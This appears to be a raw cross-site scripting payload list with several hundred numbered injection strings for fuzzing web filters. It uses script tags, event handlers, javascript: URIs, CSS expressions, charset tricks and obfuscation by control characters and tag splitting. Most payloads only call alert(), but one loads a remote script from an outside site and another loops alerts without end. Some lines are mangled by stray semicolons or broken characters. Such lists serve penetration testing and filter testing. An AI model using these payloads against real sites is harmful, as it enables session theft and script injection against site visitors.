<body/onload=<!-->㖢alert(1373)>
<script itworksinallbrowsers>alert(1374)</script
<img src ?itworksonchrome?\/onerror = alert(1375)
<svg><script onlypossibleinopera:-)> alert(1377)
<script x> alert(1379) </script 1379=2
<div/onmouseover='alert(1380)'> style="x:">
<--`<img/src=` onerror=alert(1381)> --!>
<div style="position:absolute;top:0;left:0;width:138300%;height:138300%" onmouseover="prompt(1383)" onclick="alert(1383)">x</button>
<form><button formaction=javascript:alert(1385)>CLICKME
<script\x20type="text/javascript">javascript:alert(1390);</script>
<script\x3Etype="text/javascript">javascript:alert(1391);</script>
<script\x0Dtype="text/javascript">javascript:alert(1392);</script>
<script\x09type="text/javascript">javascript:alert(1393);</script>
<script\x0Ctype="text/javascript">javascript:alert(1394);</script>
<script\x2Ftype="text/javascript">javascript:alert(1395);</script>
<script\x0Atype="text/javascript">javascript:alert(1396);</script>
'`"><\x3Cscript>javascript:alert(1397)</script>
'`"><\x00script>javascript:alert(1398)</script>
<img src=1399 href=1399 onerror="javascript:alert(1399)"></img>
<audio src=1400 href=1400 onerror="javascript:alert(1400)"></audio>
<video src=1401 href=1401 onerror="javascript:alert(1401)"></video>
<body src=1402 href=1402 onerror="javascript:alert(1402)"></body>
<image src=1403 href=1403 onerror="javascript:alert(1403)"></image>
<object src=1404 href=1404 onerror="javascript:alert(1404)"></object>
<script src=1405 href=1405 onerror="javascript:alert(1405)"></script>
<svg onResize svg onResize="javascript:javascript:alert(1406)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1407)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1408)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1409)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1410)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1411)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1412)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1413)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1414)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1415)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1416)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1417)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1418)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1419)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1420)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1421)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1422)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1423)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1424)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1425)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1426)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1427)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1428)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1429)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(1430)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1431)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1432)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1433)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1434)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1435)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1436)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1437)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1438)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1439)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1440)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1441)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1442)"></body onResize>
<object onError object onError="javascript:javascript:alert(1443)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1444)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1445)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1446)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1447)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1448)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1449)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1450)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1451)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1452)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1453)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1454)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1455)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1456)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1457)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1458)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1459)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1460)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1461)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1462)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1463)"></body onblur>
\x3Cscript>javascript:alert(1464)</script>
'"`><script>/* *\x2Fjavascript:alert(1465)// */</script>
<script>javascript:alert(1466)</script\x0D
<script>javascript:alert(1467)</script\x0A
<script>javascript:alert(1468)</script\x0B
<script charset="\x22>javascript:alert(1469)</script>
<!--\x3E<img src=xxx:x οnerrοr=javascript:alert(1470)> -->
--><!-- ---> <img src=xxx:x οnerrοr=javascript:alert(1471)> -->
--><!-- --\x00> <img src=xxx:x οnerrοr=javascript:alert(1472)> -->
--><!-- --\x21473> <img src=xxx:x οnerrοr=javascript:alert(1473)> -->
--><!-- --\x3E> <img src=xxx:x οnerrοr=javascript:alert(1474)> -->
`"'><img src='#\x27 onerror=javascript:alert(1475)>
<a href="javascript\x3Ajavascript:alert(1476)" id="fuzzelement1476">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(1477)
<a href="javas\x00cript:javascript:alert(1478)" id="fuzzelement1478">test</a>
<a href="javas\x07cript:javascript:alert(1479)" id="fuzzelement1479">test</a>
<a href="javas\x0Dcript:javascript:alert(1480)" id="fuzzelement1480">test</a>
<a href="javas\x0Acript:javascript:alert(1481)" id="fuzzelement1481">test</a>
<a href="javas\x08cript:javascript:alert(1482)" id="fuzzelement1482">test</a>
<a href="javas\x02cript:javascript:alert(1483)" id="fuzzelement1483">test</a>
<a href="javas\x03cript:javascript:alert(1484)" id="fuzzelement1484">test</a>
<a href="javas\x04cript:javascript:alert(1485)" id="fuzzelement1485">test</a>
<a href="javas\x01486cript:javascript:alert(1486)" id="fuzzelement1486">test</a>
<a href="javas\x05cript:javascript:alert(1487)" id="fuzzelement1487">test</a>
<a href="javas\x0Bcript:javascript:alert(1488)" id="fuzzelement1488">test</a>
<a href="javas\x09cript:javascript:alert(1489)" id="fuzzelement1489">test</a>
<a href="javas\x06cript:javascript:alert(1490)" id="fuzzelement1490">test</a>
<a href="javas\x0Ccript:javascript:alert(1491)" id="fuzzelement1491">test</a>
<script></script>
<script></script>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1494)
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1495)
<style></style\x09<img src="about:blank" onerror=javascript:alert(1496)
<style></style\x20<img src="about:blank" onerror=javascript:alert(1497)
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1498)
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1499);$($){_setter=$,_=javascript:alert(1788)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1789))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1790)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1791)')()</script>
<meta charset="mac-farsi">¼script¾javascript:alert(1794)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1795)` >
1796<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh񁞖vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"οnerrοr=javascript:alert(1796)>`>
1797<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1797)>>
1799<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1799) strokecolor=white strokeweight=1799000px from=0 to=1799000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1800)">XXX</a>
<event-source src="%(event)s" onload="javascript:alert(1803)">
<a href="javascript:javascript:alert(1804)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img�src=x:x�onerror�=javascript:alert(1805)>">
<script>javascript:alert(1809)</script>
<IMG SRC="javascript:javascript:alert(1810);">
<IMG SRC=javascript:javascript:alert(1811)>
<IMG SRC=`javascript:javascript:alert(1812)`>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1814);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1815)>
<BODY ONLOAD=javascript:javascript:alert(1816)>
<IMG SRC="jav ascript:javascript:alert(1817);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1818)>
<IMG SRC="javascript:javascript:alert(1821)"
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1823);">
<IMG DYNSRC="javascript:javascript:alert(1824)">
<IMG LOWSRC="javascript:javascript:alert(1825)">
<BGSOUND SRC="javascript:javascript:alert(1826);">
<BR SIZE="&{javascript:alert(1827)}">
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1829);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(1833)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1834);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1835);">
<IFRAME SRC="javascript:javascript:alert(1836);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(1837)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1838)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1839))">
<DIV STYLE="width:expression(javascript:alert(1840));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1841))">
<XSS STYLE="xss:expression(javascript:alert(1842))">
<STYLE TYPE="text/javascript">javascript:alert(1843);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1844)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1845)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1846);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(1847);//">
<OBJECT classid=clsid:ae24fdae-03c6-18491849d1849-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1849)></OBJECT>
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1850)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1851)</SCRIPT>"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1854)">X
<body οnscrοll=javascript:alert(1855)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1856)">
<STYLE>a{background:url('s1858' 's2)}@import javascript:javascript:alert(1858);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1859)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:alert(1860);></SCRIPT>
<style onreadystatechange=javascript:javascript:alert(1861);></style>
<?xml version="1862.0"?><html:html xmlns:html='http://www.w3.org/1862999/xhtml'><html:script>javascript:alert(1862);</html:script></html:html>
<embed code=javascript:javascript:alert(1864);></embed>
<frameset οnlοad=javascript:javascript:alert(1866)></frameset>
<object οnerrοr=javascript:javascript:alert(1867)>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1869);">]]</C><X></xml>
<IMG SRC=&{javascript:alert(1870);};>
<a href="javAascript:javascript:alert(1871)">test1871</a>
<a href="javaascript:javascript:alert(1872)">test1872</a>
<iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;οnerrοr=javascript:alert(1874)&gt;>">
';alert(1875))//';alert(1875))//";
alert(1876))//";alert(1876))//--
></SCRIPT>">'><SCRIPT>alert(1877))</SCRIPT>
<IMG SRC="javascript:alert(1880);">
<IMG SRC=javascript:alert(1881)>
<IMG SRC=JaVaScRiPt:alert(1882)>
<IMG SRC=javascript:alert(1883)>
<IMG SRC=`javascript:alert(1884)`>
<a οnmοuseοver="alert(1885)">xxs link</a>
<a οnmοuseοver=alert(1886)>xxs link</a>
<IMG """><SCRIPT>alert(1887)</SCRIPT>">
<IMG SRC=javascript:alert(1888))>
<IMG SRC=# οnmοuseοver="alert(1889)">
<IMG SRC= οnmοuseοver="alert(1890)">
<IMG οnmοuseοver="alert(1891)">
<IMG SRC="jav ascript:alert(1895);">
<IMG SRC="jav	ascript:alert(1896);">
<IMG SRC="jav
ascript:alert(1897);">
<IMG SRC="jav
ascript:alert(1898);">
perl -e 'print "<IMG SRC=java\0script:alert(1899)>";' > out
<IMG SRC="  javascript:alert(1900);">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1902)>
<<SCRIPT>alert(1904);
<IMG SRC="javascript:alert(1907)"
\";alert(1909);
</TITLE><SCRIPT>alert(1910);</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert(1911);">
<BODY BACKGROUND="javascript:alert(1912)">
<IMG DYNSRC="javascript:alert(1913)">
<IMG LOWSRC="javascript:alert(1914)">
<STYLE>li {list-style-image: url("javascript:alert(1915)");}</STYLE><UL><LI>XSS</br>
<BODY ONLOAD=alert(1918)>
<BGSOUND SRC="javascript:alert(1919);">
<BR SIZE="&{alert(1920)}">
<LINK REL="stylesheet" HREF="javascript:alert(1921);">
<STYLE>@im\port'\ja\vasc\ript:alert(1926)';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert(1927))">
exp/*");xss:ex/*>alert(1981)</script
<iframe/src="data:text/html,<svg ��load=alert(1983)>">
<meta content="
 1984 
; JAVASCRIPT: alert(1984)" http-equiv="refresh"/>
<form><iframe 	䷐� src="javascript:alert(1992)"�䷐	;>
http://www.google<script .com>alert(1994)</script
<script ^__^>alert(1998))</script ^__^
</style  ><script   :-(>alert(1999)</script   :-(
�</form><input type"date" onfocus="alert(2000)">
<a href="javascript:void(0)" onmouseover=
javascript:alert(2004)
>X</a>
<script ~~~>alert(2005)</script ~~~>
<iframe
<%<!--'%><script>alert(2030);</script -->
<script src="data:text/javascript,alert(2031)"></script>
<iframe/onreadystatechange=alert(2033)
<svg/onload=alert(2034)
<input type="text" value=`` <div/onmouseover='alert(2036)'>X</div>
<img src=`xx:xx`onerror=alert(2038)>
<meta http-equiv="refresh" content="0;javascript:alert(2040)"/>
<script>+-+-2050-+-+alert(2050)</script>
<body/onload=<!-->倞alert(2051)>
<script itworksinallbrowsers>alert(2052)</script
<img src ?itworksonchrome?\/onerror = alert(2053)
<svg><script onlypossibleinopera:-)> alert(2055)
<script x> alert(2057) </script 2057=2
<div/onmouseover='alert(2058)'> style="x:">
<--`<img/src=` onerror=alert(2059)> --!>
<div style="position:absolute;top:0;left:0;width:206100%;height:206100%" onmouseover="prompt(2061)" onclick="alert(2061)">x</button>
<form><button formaction=javascript:alert(2063)>CLICKME
<script>alert(2071);</script>
<script>alert(2072);</script>
<IMG SRC="javascript:alert(2073);">
<IMG SRC=javascript:alert(2074)>
<IMG SRC=javascript:alert(2075)>
<IMG SRC=javascript:alert(2076)>
<IMG """><SCRIPT>alert(2077)</SCRIPT>">
<scr<script>ipt>alert(2078);</scr</script>ipt>
<script>alert(2079))</script>
<img src=foo.png onerror=alert(2080) />
<style>@im\port'\ja\vasc\ript:alert(2081)';</style>
<? echo('<scr)'; echo('ipt>alert(2082)</script>'); ?>
<marquee><script>alert(2083)</script></marquee>
<IMG SRC=\"jav	ascript:alert(2084);\">
<IMG SRC=\"jav
ascript:alert(2085);\">
<IMG SRC=\"jav
ascript:alert(2086);\">
<IMG SRC=javascript:alert(2087))>
"><script>alert(2088)</script>
</title><script>alert(2090)</script>
</textarea><script>alert(2091)</script>
<IMG LOWSRC=\"javascript:alert(2092)\">
<IMG DYNSRC=\"javascript:alert(2093)\">
<font style='color:expression(alert(2094))'>
<img src="javascript:alert(2095)">
<script language="JavaScript">alert(2096)</script>
<body onunload="javascript:alert(2097);">
<body onLoad="alert(2098);"
[color=red' onmouseover="alert(2099)"]mouse over[/color]
"/></a></><img src=2100.gif onerror=alert(2100)>
window.alert(2101);
alert(2103));'))">
<iframe<?php echo chr(11)?> onload=alert(2104)></iframe>
"><script alert(2105))</script>
'">><script>alert(2107)</script>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(2109);\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(2110);\">
<script>2111 2111 = 1; alert(2111)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert(2112)")}</STYLE>
<?='<SCRIPT>alert(2113)</SCRIPT>'?>
" οnfοcus=alert(2115) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert(2116);\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:alert(2117)\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(2118)</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(2119)>\";' > out
<br size=\"&{alert(2120)}\">
<scrscriptipt>alert(2121)</scrscriptipt>
</br style=a:expression(alert(21222122>
</script><script>alert(2123)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(2124)>
[color=red width=expression(alert(2125))][color]
<BASE HREF="javascript:alert(2126);//">
"></iframe><script>alert(2128)</script>
<body onLoad="while(true) alert(2129);">
'"></title><script>alert(2130)</script>
</textarea>'"><script>alert(2131)</script>
'""><script language="JavaScript"> alert(2132);</script>
</script></script><<<<script><>>>><<<script>alert(2133)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert(2135);">
'></select><script>alert(2136)</script>
a="get";b="URL";c="javascript:";d="alert(2140);";eval(a+b+c+d);
='><script>alert(2141)</script>
<body background=javascript:'"><script>alert(2143)</script>></body>
">/XaDoS/><script>alert(2144)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(2145)</script>
!--" /><script>alert(2148);</script>
<script>alert(2149)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(2150)</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>alert(2151)</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>alert(2152)</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(2153)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(2154)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(2155)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert(2156);"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(2157))</SCRIPT><img src="" alt='
"><SCRIPT>alert(2158))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(2159))</SCRIPT><img src="" alt=\'
'); alert(2162); var x='
\\'); alert(2163);var x=\'
//--></SCRIPT><SCRIPT>alert(2164));
>"><ScRiPt%20%0a%0d>alert(2165)%3B</ScRiPt>
<SCRIPT> alert(2170); </SCRIPT>
<BODY ONLOAD=alert(2171)>
<BODY BACKGROUND="javascript:alert(2172)">
<IMG SRC="javascript:alert(2173);">
<IMG DYNSRC="javascript:alert(2174)">
<IMG LOWSRC="javascript:alert(2175)">
<INPUT TYPE="IMAGE" SRC="javascript:alert(2177);">
<LINK REL="stylesheet" HREF="javascript:alert(2178);">
<TABLE BACKGROUND="javascript:alert(2179)">
<TD BACKGROUND="javascript:alert(2180)">
<DIV STYLE="background-image: url(javascript:alert(2181))">
<DIV STYLE="width: expression(alert(2182));">
';alert(2185))//\';alert(2185))//";alert(2185))//\";alert(2185))//--></SCRIPT>">'><SCRIPT>alert(2185))</SCRIPT>
<SCRIPT>alert(2187)</SCRIPT>
<SCRIPT>alert(2189))</SCRIPT>
<BASE HREF="javascript:alert(2190);//">
<BGSOUND SRC="javascript:alert(2191);">
<BODY BACKGROUND="javascript:alert(2192);">
<BODY ONLOAD=alert(2193)>
<DIV STYLE="background-image: url(javascript:alert(2194))">
<DIV STYLE="background-image: url(&#1;javascript:alert(2195))">
<DIV STYLE="width: expression(alert(2196));">
<FRAMESET><FRAME SRC="javascript:alert(2197);"></FRAMESET>
<IFRAME SRC="javascript:alert(2198);"></IFRAME>
<INPUT TYPE="IMAGE" SRC="javascript:alert(2199);">
<IMG SRC="javascript:alert(2200);">
<IMG SRC=javascript:alert(2201)>
<IMG DYNSRC="javascript:alert(2202);">
<IMG LOWSRC="javascript:alert(2203);">
<STYLE>li {list-style-image: url("javascript:alert(2207)");}</STYLE><UL><LI>XSS
%BCscript%BEalert(2211)%BC/script%BE
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(2212);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(2214);">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(2217)></OBJECT>
a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert(2219);")"; eval(a+b+c+d);
<STYLE TYPE="text/javascript">alert(2220);</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert(2221))">
<XSS STYLE="xss:expression(alert(2222))">
<STYLE>.XSS{background-image:url("javascript:alert(2223)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert(2224)")}</STYLE>
<LINK REL="stylesheet" HREF="javascript:alert(2225);">
<TABLE BACKGROUND="javascript:alert(2230)"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert(2231)"></TD></TABLE>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(2233);">]]>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(2234)"></B></I></XML>
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(2238)</SCRIPT>">
<BR SIZE="&{alert(2243)}">
<IMG SRC=JaVaScRiPt:alert(2244)>
<IMG SRC=javascript:alert(2245)>
<IMG SRC=`javascript:alert(2246)`>
<IMG SRC=javascript:alert(2247))>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(2252);+ADw-/SCRIPT+AD4-
\";alert(2253);//
</TITLE><SCRIPT>alert(2254);</SCRIPT>
<STYLE>@im\port'\ja\vasc\ript:alert(2255)';</STYLE>
<IMG SRC="jav	ascript:alert(2256);">
<IMG SRC="jav&#x09;ascript:alert(2257);">
<IMG SRC="jav&#x0A;ascript:alert(2258);">
<IMG SRC="jav&#x0D;ascript:alert(2259);">
perl -e 'print "<IMG SRC=java\0script:alert(2261)>";'> out
perl -e 'print "&<SCR\0IPT>alert(2262)</SCR\0IPT>";' > out
<IMG SRC=" &#14; javascript:alert(2263);">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(2265)>
<IMG SRC="javascript:alert(2268)"
<<SCRIPT>alert(2270);
<IMG """><SCRIPT>alert(2271)</SCRIPT>">
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(2390)>
</script><script>alert(2391)</script>
</br style=a:expression(alert(23922392>
<scrscriptipt>alert(2393)</scrscriptipt>
<br size=\"&{alert(2394)}\">
perl -e 'print \"<IMG SRC=java\0script:alert(2395)>\";' > out
perl -e 'print \"<SCR\0IPT>alert(2396)</SCR\0IPT>\";' > out
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2397))>
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2399))>
<~/XSS STYLE=xss:expression(alert(2400))>
"><script>alert(2401)</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert(2402))>
XSS/*-*/STYLE=xss:e/**/xpression(alert(2403))>
XSS STYLE=xss:e/**/xpression(alert(2404))>
</XSS STYLE=xss:expression(alert(2405))>
';;alert(2406))//\';;alert(2406))//";;alert(2406))//\";;alert(2406))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(2406))<;/SCRIPT>;
<;SCRIPT>;alert(2408)<;/SCRIPT>;
<;SCRIPT>;alert(2410))<;/SCRIPT>;
<;BASE HREF=";javascript:alert(2411);//";>;
<;BGSOUND SRC=";javascript:alert(2412);";>;
<;BODY BACKGROUND=";javascript:alert(2413);";>;
<;BODY ONLOAD=alert(2414)>;
<;DIV STYLE=";background-image: url(javascript:alert(2415))";>;
<;DIV STYLE=";background-image: url(&;#1;javascript:alert(2416))";>;
<;DIV STYLE=";width: expression(alert(2417));";>;
<;FRAMESET>;<;FRAME SRC=";javascript:alert(2418);";>;<;/FRAMESET>;
<;IFRAME SRC=";javascript:alert(2419);";>;<;/IFRAME>;
<;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(2420);";>;
<;IMG SRC=";javascript:alert(2421);";>;
<;IMG SRC=javascript:alert(2422)>;
<;IMG DYNSRC=";javascript:alert(2423);";>;
<;IMG LOWSRC=";javascript:alert(2424);";>;
<;STYLE>;li {list-style-image: url(";javascript:alert(2428)";);}<;/STYLE>;<;UL>;<;LI>;XSS
%BCscript%BEalert(2432)%BC/script%BE
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(2433);";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(2435);";>;
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(2438)>;<;/OBJECT>;
a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(2440);";)";; eval(a+b+c+d);
<;STYLE TYPE=";text/javascript";>;alert(2441);<;/STYLE>;
<;IMG STYLE=";xss:expr/*XSS*/ession(alert(2442))";>;
<;XSS STYLE=";xss:expression(alert(2443))";>;
<;STYLE>;.XSS{background-image:url(";javascript:alert(2444)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
<;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(2445)";)}<;/STYLE>;
<;LINK REL=";stylesheet"; HREF=";javascript:alert(2446);";>;
<;TABLE BACKGROUND=";javascript:alert(2451)";>;<;/TABLE>;
<;TABLE>;<;TD BACKGROUND=";javascript:alert(2452)";>;<;/TD>;<;/TABLE>;
<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(2454);";>;]]>;
<;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(2455)";>;<;/B>;<;/I>;<;/XML>;
<;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(2459)<;/SCRIPT>;";>;
<;BR SIZE=";&;{alert(2464)}";>;
<;IMG SRC=JaVaScRiPt:alert(2465)>;
<;IMG SRC=javascript:alert(2466)>;
<;IMG SRC=`javascript:alert(2467)`>;
<;IMG SRC=javascript:alert(2468))>;
<;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(2473);+ADw-/SCRIPT+AD4-
\";;alert(2474);//
<;/TITLE>;<;SCRIPT>;alert(2475);<;/SCRIPT>;
<;STYLE>;@im\port';\ja\vasc\ript:alert(2476)';;<;/STYLE>;
<;IMG SRC=";jav	ascript:alert(2477);";>;
<;IMG SRC=";jav&;#x09;ascript:alert(2478);";>;
<;IMG SRC=";jav&;#x0A;ascript:alert(2479);";>;
<;IMG SRC=";jav&;#x0D;ascript:alert(2480);";>;
perl -e ';print ";<;IM SRC=java\0script:alert(2482)>";;';>; out
perl -e ';print ";&;<;SCR\0IPT>;alert(2483)<;/SCR\0IPT>;";;'; >; out
